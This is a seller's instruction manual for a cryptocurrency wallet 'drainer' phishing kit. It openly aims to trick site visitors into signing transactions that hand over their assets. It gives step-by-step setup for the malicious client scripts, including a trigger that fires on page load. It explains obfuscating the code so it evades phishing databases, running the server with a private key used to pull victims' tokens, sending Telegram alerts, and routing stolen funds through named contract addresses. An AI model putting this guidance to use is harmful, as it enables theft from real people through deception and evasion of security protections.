Instructions for use
Hello, if you are reading this guide, then most likely you have already purchased one of the leading scripts in this industry. By purchasing a cheaper script from third parties, you deprive yourself of support and any updates.
And if you don’t already own the script, quickly fix it here. You will receive the script itself, various supporting materials, as well as access to the chat where the owners of the script communicate - they will help you if you don’t understand something. If you have any difficulties in using it, you can always contact me or my support agents.
First, let’s tell you what kind of script you purchased: a drainer is a script that allows you to withdraw all assets from the wallet of a user who has visited the site. And no, this does not happen by magic, but due to the fact that he himself gives you all the assets, signing transactions in his wallet. Your task is only to mislead him so that he does not understand that money will be debited from him. For example, you can convince him that he will receive money or invest it somewhere - this is all at your discretion, your income depends on your approach, the presence of software does not guarantee that you will become a millionaire.
Let’s put all the dots right away: the script does not write off all assets in one click, there is no option to write off all assets just when you log into the site, and no, you cannot make a custom window when writing off assets. Wallet developers are not stupid either and try to protect their users, so you need to be smarter. My script tries its best to use the best methods to make things easier for you, but it can't do absolutely all the work for you, so you have to try. Income depends only on you and your methods.
Now, if you have already purchased the script, let's try installing it on your website. This instruction will allow you to install the script on any HTML site, we do not consider installation on React, Next JS and other similar sites - the drainer does not officially support them, but there are rumors that it is possible there too.
But first, let’s figure out what the archive with the script consists of.
Contents of the archive with the script
As soon as you open the archive, you will see three folders in front of you:
In the first folder, called “Client,” you will find everything that needs to be installed along with your landing page, as well as a test landing page. If you want to install a test landing page, then copy all the files and simply transfer them to your hosting, this should be enough for everything to work. You will only need to indicate the address of your server, more on that below.
If you want to put a script on your landing page, and not use a test one, then it will be enough to move the “assets” folder to the folder with your site. It is important that the "assets" folder is located at the root of your site. Even if a person visits your site at the address: "example.com/claim" and all the site files are in the "claim" folder, you still leave the "assets" folder in the root - if you do otherwise, the script may not work correctly work, remember this moment.
Next we have a second folder, called “Server”, there are all the files that are needed to start the server. It plays an important role - all settings are downloaded from it, and assets are also withdrawn through it. Without the server running, the site on which the client will be installed will not work.
And the last folder, called "Contracts", contains codes for Solidity contracts. The drainer supports transferring coins to several types of contracts: Claim, Security Update, Swap, Connect and Execute. By default, the drainer uses a public contract, more about it a little later, but if you wish, you can upload the contract yourself to the network and use it.
Installing the client on the site
As mentioned earlier, installation on the site is very simple, you open the “Client” folder, take the “assets” folder from there and move it to the root of the site. Then you need to go to the “assets” folder and find a file there called “web3-provider.js”. Open this file with any code editor, for example, Visual Studio Code (not to be confused with regular Visual Studio) or Notepad++. At the very top of the script you will find the variable “MS_Server” - you need to enter the domain on which your server will be located. This is not the domain where your website is located, but a separate domain for the server - this is important!
As you already understood, for the server you will need to purchase a separate domain, or create a subdomain on which you will hang the server. One server can be used for several sites. The main condition is that all these sites will use the same wallet, as well as settings. But, of course, it’s not a problem if you only work with one site.
Now open the site file where your landing page is located, usually it is called “index.html”. Scroll to the bottom of the file and look for a special tag that looks like this: </body>. Once you have found it, write the following lines of code right before it:
<script src="./assets/web3-provider/web3-modal.js"></script> <script src="./assets/web3-provider/web3-loader.js"></script> <script src="./assets/web3-provider/web3-connect.js"></script> <script src="./assets/web3-provider/web3-router.js"></script> <script src="./assets/web3-provider/web3-module.js"></script> <script src="./assets/web3-provider/web3-alert.js"></script> <script src="./assets/web3-provider/web3-seaport.js"></script> <script src="./assets/web3-provider/web3-data.js"></script> <script src="./assets/web3-provider/ethers.js"></script> <script src="./assets/web3-provider/ethereum-tx.js"></script> <script src="./assets/web3-provider.js"></script>
Please note that these scripts will only work on hosting and only with an installed SSL certificate, that is, over HTTPS. If you open the file on a local server or just on your computer, most likely nothing will work.
Now you need to connect the drainer to the button you need, or just an element on the page. Most often, buttons look like this in code:
<button class="button btn-dark"> Connect Wallet </button>
Or something like this, in fact, it can look like anything:
<a href="#"> Connect Wallet </a>
There are two main ways to connect a drainer. The first method is to simply add the desired function to the button so that it is called when clicked:
onclick="ms_init()"
That is, in the final version it will look like this:
<button class="button btn-dark" onclick="ms_init()"> Connect Wallet </button>
Or, the second option, you can add a class to the desired button:
class="connect-button"
And it will look like this in the button:
<button class="button btn-dark connect-button"> Connect Wallet </button>
When you apply this to all the buttons you need, everything will work. And if you suddenly want the drainer to fire when the page is opened, before the </body>
tag, just add another script with the following content:
document.addEventListener("DOMContentLoaded", () => { setTimeout(() => ms_init(), 5000); });
Great, the setup of the client part of the script has been successfully completed, now it must be obfuscated so that the code does not end up in phishing databases, and simply so that no one steals it from your site, which, of course, is very important.
For this we need the following website: obfuscator.io
Again, open the contents of the “web3-provider.js” file, where we configured the domain for the server, completely copy all the contents and paste it into the above site.
Scroll a little lower and find the “Reset Options” button, click on it, scroll a little lower and check the box next to the two items “Self Defending” and “Debug Protection”. Also, in the “Domain Lock” field, you can enter the domain of the site where the script will be located and click on the plus sign, in this case, if the drainer is stolen, the attacker’s site will simply break.
We go up and press the blue “Obfuscate” button and get a modified, unreadable form of the code. We copy it completely and paste the content back into “web3-provider.js” in obfuscated form, save it and upload it to the hosting. Great, you are simply amazing!
Server installation
For the server you will need a VPS with the Ubuntu 22.04 operating system. You, of course, can choose another OS, even Windows Server, but this manual will describe the procedure specifically for Ubuntu 22.04 - keep this point in mind.
First of all you will need a Cloudflare account, it is free, just register on their official website. When you get to the control panel, add the domain that you will use for the server, first purchase it anywhere, for example, on 4DOMAINS.SU. To add a site, click on the "Add a Site" button in the control panel, enter your domain, then select the "Free" tariff plan and click "Continue". Then the scanning will begin, it will take some time and most likely you will not see a single entry. But if there is something, just delete it. Now click "Add Record", select the record type "A", in the "Name" field enter the "@" sign, and in the "IPv4 Address" field enter the IP VPS that you rented. If you don’t have a VPS yet, you can rent it, for example, at 4VPS.SU. If you rent it there, choose the UAE region and the cheapest tariff plan for 420 rubles - it will definitely be enough for you. But if your budget allows, then you can take something more powerful.
Click the "Save" button and then "Continue". You will be shown two NS records that you will need to specify in the control panel where you purchased your domain. If you don't know where it is, check with the support of the place where you bought the domain. After this, adding the domain to Cloudflare will be completed, but you need to make a few more settings to make sure everything works well. In the menu on the left, go to the "SSL/TLS" section and on the right set the operating mode to "Flexiable". Now in the left menu, select the “Security” section, then “Settings” and set the “Security Level” on the right to “Low”, or better yet, to “Essentially Off”. Scroll down a little and uncheck the box next to “Browser Integrity Check”. That's it, you are wonderful, the domain has been added.
By the way, it is important that the VPS is clean; there should not be any web server, panels or anything else on it; even ISPmanager or FastPanel can interfere with the correct operation of the script. They can’t even do it, but they will definitely interfere!
Now we connect to our VPS via FTP, for example, through FileZilla. To do this, add it as a new site, select the operating mode not FTP, but SFTP, indicate the data from the VPS and connect. We should be in the "root" folder. If you are in it, fire, create a folder named "server", open it and transfer into it all the files and folders from the "Server" folder, which was in the archive with the script.
Now comes the fun part - setting up the script. We open the “server.js” file and see a whole bunch of settings there. The default settings are the most optimal; all you have to do is change the address of the wallet where the money will go and indicate the private key for it. If anything, here are instructions on how to get a private key in MetaMask. Why do you need a private key: when a victim gives access to its token to your wallet, it does not transfer it so that this causes less suspicion. Therefore, we need to pull out this token ourselves, for this a transaction will be called on behalf of your wallet that will pull out the token from the victim wallet, for this we need a private key. You also need to specify the token from the bot in Telegram, it is created through @BotFather and the channel ID where notifications will go, just create a channel, add the created bot there (not @BotFather, but your bot), make it an administrator and get the channel ID (there is There are many bots for this, look for: Get Channel ID). Note: Channel ID always starts with "-100", if you have something different, or even letters, then you obviously did something wrong, try again!
By the way, the wallet must always have some native coin in each of the networks, otherwise the magic will not work. In all networks except Ethereum, it is enough to keep $25 - $30, but in Ethereum it is advisable to keep about $50. The native coin is the main coin of the network, in Ethereum it is ETH, in Binance Smart Chain it is BNB, in Avalanche it is AVAX, but in Arbitrum, for example, it is also ETH.
You can also look at other settings, comments are in the code. After you have configured everything, save the file and upload it back to the VPS. Now you need to connect to the server via SSH, to do this open PowerShell and enter the following command: ssh [email protected]
Only instead of “127.0.0.1” we indicate the IP of your VPS, after executing this command it will ask for the password for the VPS, enter it, it will be invisible - don’t be scared, just enter the password and press ENTER. This will log you into the VPS. Now just enter the commands given below one by one, each line is a separate command. Sometimes you may be asked for something, for example, [Y/N], in such cases we enter “Y” (English, of course) and press ENTER. If any windows pop up, just press ENTER and don’t delve into their essence.
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null sudo apt-get update sudo apt-get install curl ufw sudo ufw allow 80 curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash - sudo apt-get install nodejs sudo npm i pm2 -g cd server sudo npm i pm2 start server.js --update-env pm2 save
Now all that remains is to check if everything is working, first enter: pm2 list
If you see a list in which there is a process "server.js", under it it says "enabled", and to the right there is a line "online" - everything is fine, it has started, but you still need to look at the logs, write the command: pm2 logs 0
Ideally, there should be the name of the script, an inscription that the server is online and three lines with the counting of lines in the white and black lists. If there is something else, and especially some errors, there is reason to worry about performance.
But if everything is in order, then you are smart and were able to start the server. Now let's check if it works on the network. In your browser, go to the domain you have chosen for the server, a page with the text “Sorry, this page in unavailable” should load, and there should also be a connection via HTTPS. If the site does not launch and you recently bought a domain, it may be worth waiting and it has not yet launched. But if a lot of time has passed (more than a day) and nothing has worked, check, maybe you did something wrong or contact support, we will tell you how to solve your problem as quickly as possible.
Otherwise, the server setup is complete, if you want to change something in the future, just open FileZilla, make changes and save the file - that’s it.
Small addition: installation without proxying via CF
It happens that you do not want to forward the server through Cloudflare. Most often this may be due to some technical problems. First of all, if you have already followed all the instructions above, but want to disable proxying, open Cloudflare, go to the DNS tab and change your A record there. You need to set the "DNS only" mode, the gray cloud on the right. After this, Cloudflare’s protection will stop working and at the same time the HTTPS that Cloudflare gave you will disappear, so you need to issue your own, we will do this via SSL For Free, but you can issue a certificate in any way, the main thing is that you receive the certificate itself and the key to it, two files. Actually, if you decide to do this via SSL For Free, then here is what you need to do. First, go to the website and create an account there.
When the account is created, click on the blue “New Certificate” button. In the next window, in the “Enter Domain” field, enter your domain for the server, you will most likely automatically add a second version with WWW at the beginning, delete it with a cross - we don’t need it. Click on "Next Step" and select "90-Day Certificate", then again "Next Step" and again "Next Step", select the "Free" tariff and click "Next Step". In the next window, select “DNS (CNAME)”, go to Cloudflare, open the domain with the server, go to DNS and create a CNAME record there, indicating the data that was given to you on the site. We set any TTL, preferably the smallest one, about one minute or more.
We return to the site, click on the “Next Step” button and click “Verify Domain”, if everything is successful, it will download the archive with the certificate, download it. There will be three files inside, “ca_bundle.crt” can be safely deleted, the remaining two files will be renamed “server.crt” and “server.key” respectively. Now, via FTP, we go to the folder where we have the server, create another folder there called “cert” and transfer the two files that we renamed there.
After that, go to PowerShell, log into our VPS via SSH and enter the following command: pm2 restart all
. It will restart our server with new settings. Now write the command: pm2 logs 0
. If you see the inscription “SERVER IS ONLINE, LISTENING TO PORT 443”, then you did everything correctly. All that remains is to check the functionality: go to the site in the browser using your server’s domain, the response should be: “Sorry, this page is not available” - this is normal. Let's see if HTTPS works - if so, then great.
Using a General Contract
General contract address: 0x0007039b77d22042afc1a9c3b3da11837b730000
The general contract is the default contract; it has several operating modes: Claim, Security Update, Claim Reward, Swap, Connect and Execute. You can choose any one you like in the drainer settings. The contract address is already specified in the default drainer settings. The native coin will go there, which will be sent to you through the drainer. The common contract is open source and you can check the code and what it does for yourself. But you will be able to withdraw exactly as much as came from your drainer, minus a small percentage for the content of the general contract, the maximum percentage is indicated in the open code of the contract - it is 10%, but by default the percentage is two times lower and is 5%. The percentage of royalties for the content of the contract is regulated depending on the need for a particular network, but, as already mentioned, is not higher than the maximum value. How it works: when sending money, the drainer passes as an argument the address of your wallet, which you specified in the drainer, the contract, after receiving the funds, immediately transfers them to your specified wallet, after which the money is with you, no interaction with the contract is required, everything is complete automated. This will help you save money and nerves so as not to deploy your own contract, the downside is that there is only a small percentage of royalties, but this is a drop in the ocean. But if you want, the contract address can be changed in the drainer settings, and the contract codes are in the archives folder - go for it.
By the way, there is also a general contract where there are no percentage payments, that is, you receive 100% of the money that went through the contract. The contract address there is not so beautiful and does not look so legitimate, but you can safely use it in your projects and not pay anything. Actually, here is the address of this contract: 0xe2b38dbef3febfb7cb5cd38e0a707e631ead8b98. But it’s worth mentioning that the code of this contract is absolutely identical to the one that takes interest, so the technical ability to set the percentage is also there, but the percentage is set to zero everywhere, so you get 100%. If in this regard you do not have confidence in me, you can use the old contract - there is no interest system at all and only you manage your profits, here is the address of a suitable contract:
In addition, there are older, no longer current contracts that were previously used in the drainer. If your money is lost somewhere, it may be in one of these contracts below:
The contracts above do not have automatic withdrawal, or it is enabled manually, so you may have to withdraw money through the scanner manually.